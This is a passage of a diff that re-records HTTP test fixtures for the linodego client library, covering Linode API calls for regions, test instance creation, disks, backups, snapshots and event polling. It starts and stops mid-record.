{"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:21 GMT + - Fri, 31 May 2024 17:37:50 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-r2941v26lasz","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-4550ezy9h2qi","firewall_id":501419,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933561, "label": "go-test-ins-wo-disk-r2941v26lasz", "group": + body: '{"id": 59542678, "label": "go-test-ins-wo-disk-4550ezy9h2qi", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.105.62.117"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["170.187.250.228"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "2cd9a951a620396bd65ebd2d676659eb27ab7ac7", "has_user_data": false}' + "0b2d5aae2f89f7a14796533db6c3fd605a035d50", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "738" + - "763" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:22 GMT + - Fri, 31 May 2024 17:37:51 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-93qb0dxp18u6","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-5o5g3we7j27u","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -330,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561/configs + url: https://api.linode.com/v4beta/linode/instances/59542678/configs method: POST response: - body: '{"id": 58037978, "label": "go-test-conf-93qb0dxp18u6", "helpers": {"updatedb_disabled": + body: '{"id": 62729301, "label": "go-test-conf-5o5g3we7j27u", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -362,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:22 GMT + - Fri, 31 May 2024 17:37:51 GMT Pragma: - no-cache Strict-Transport-Security: @@ -377,75 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561 - method: GET - response: - body: '{"id": 54933561, "label": "go-test-ins-wo-disk-r2941v26lasz", "group": - "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.105.62.117"], "ipv6": "1234::5678/128", - "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, - "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": - 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "2cd9a951a620396bd65ebd2d676659eb27ab7ac7", "has_user_data": false}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive - Content-Length: - - "738" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Expires: - - Wed, 14 Feb 2024 18:09:37 GMT - Pragma: - - no-cache - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -463,18 +449,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561 + url: https://api.linode.com/v4beta/linode/instances/59542678 method: GET response: - body: '{"id": 54933561, "label": "go-test-ins-wo-disk-r2941v26lasz", "group": + body: '{"id": 59542678, "label": "go-test-ins-wo-disk-4550ezy9h2qi", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.105.62.117"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["170.187.250.228"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "2cd9a951a620396bd65ebd2d676659eb27ab7ac7", "has_user_data": false}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "0b2d5aae2f89f7a14796533db6c3fd605a035d50", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -491,13 +478,13 @@ interactions: Connection: - keep-alive Content-Length: - - "733" + - "774" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:52 GMT + - Fri, 31 May 2024 17:38:06 GMT Pragma: - no-cache Strict-Transport-Security: @@ -513,7 +500,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -531,10 +521,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561/disks + url: https://api.linode.com/v4beta/linode/instances/59542678/disks method: POST response: - body: '{"id": 108751841, "status": "not ready", "label": "linodego-disk-test", + body: '{"id": 117261643, "status": "not ready", "label": "linodego-disk-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 10}' headers: @@ -559,7 +549,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:52 GMT + - Fri, 31 May 2024 17:38:07 GMT Pragma: - no-cache Strict-Transport-Security: @@ -574,7 +564,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -593,17 +586,17 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"disk_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode"}' + - '{"+order":"desc","+order_by":"created","action":"disk_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326700, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449224, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": - 5.0, "action": "disk_create", "username": "zliang27", "entity": {"label": "go-test-ins-wo-disk-r2941v26lasz", - "id": 54933561, "type": "linode", "url": "/v4/linode/instances/54933561"}, "status": - "finished", "secondary_entity": {"id": 108751841, "type": "disk", "label": "linodego-disk-test", - "url": "/v4/linode/instances/54933561/disks/108751841"}, "message": ""}], "page": - 1, "pages": 1, "results": 1}' + 7.0, "action": "disk_create", "username": "youjungk01", "entity": {"label": + "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", "url": + "/v4/linode/instances/59542678"}, "status": "finished", "secondary_entity": + {"id": 117261643, "type": "disk", "label": "linodego-disk-test", "url": "/v4/linode/instances/59542678/disks/117261643"}, + "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -620,13 +613,13 @@ interactions: Connection: - keep-alive Content-Length: - - "566" + - "568" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:10:08 GMT + - Fri, 31 May 2024 17:38:22 GMT Pragma: - no-cache Strict-Transport-Security: @@ -642,7 +635,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -660,7 +656,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561/backups/enable + url: https://api.linode.com/v4beta/linode/instances/59542678/backups/enable method: POST response: body: '{}' @@ -686,7 +682,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:10:08 GMT + - Fri, 31 May 2024 17:38:22 GMT Pragma: - no-cache Strict-Transport-Security: @@ -701,7 +697,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -719,10 +718,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561/backups + url: https://api.linode.com/v4beta/linode/instances/59542678/backups method: POST response: - body: '{"id": 281008628, "region": "ap-west", "type": "snapshot", "status": "pending", + body: '{"id": 292760356, "region": "ap-west", "type": "snapshot", "status": "pending", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": null, "label": "snapshot-linodego-testing", "configs": [], "disks": []}' @@ -748,7 +747,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:10:14 GMT + - Fri, 31 May 2024 17:38:26 GMT Pragma: - no-cache Strict-Transport-Security: @@ -763,7 +762,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -782,15 +784,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode"}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 15, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 14, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -808,13 +810,13 @@ interactions: Connection: - keep-alive Content-Length: - - "453" + - "455" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:10:29 GMT + - Fri, 31 May 2024 17:38:42 GMT Pragma: - no-cache Strict-Transport-Security: @@ -830,7 +832,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -849,15 +854,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 30, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 29, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -875,13 +880,13 @@ interactions: Connection: - keep-alive Content-Length: - - "453" + - "455" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:10:44 GMT + - Fri, 31 May 2024 17:38:56 GMT Pragma: - no-cache Strict-Transport-Security: @@ -897,7 +902,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -916,15 +924,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 45, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 44, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -942,13 +950,13 @@ interactions: Connection: - keep-alive Content-Length: - - "453" + - "455" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:10:59 GMT + - Fri, 31 May 2024 17:39:11 GMT Pragma: - no-cache Strict-Transport-Security: @@ -964,7 +972,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -983,15 +994,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 60, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 59, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1009,13 +1020,13 @@ interactions: Connection: - keep-alive Content-Length: - - "453" + - "455" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:11:14 GMT + - Fri, 31 May 2024 17:39:27 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1031,7 +1042,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1050,15 +1064,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 75, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 74, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1076,13 +1090,13 @@ interactions: Connection: - keep-alive Content-Length: - - "453" + - "455" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:11:29 GMT + - Fri, 31 May 2024 17:39:42 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1098,7 +1112,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1117,15 +1134,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 90, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 89, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1143,13 +1160,13 @@ interactions: Connection: - keep-alive Content-Length: - - "453" + - "455" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:11:44 GMT + - Fri, 31 May 2024 17:39:57 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1165,7 +1182,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1184,15 +1204,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 105, "action": 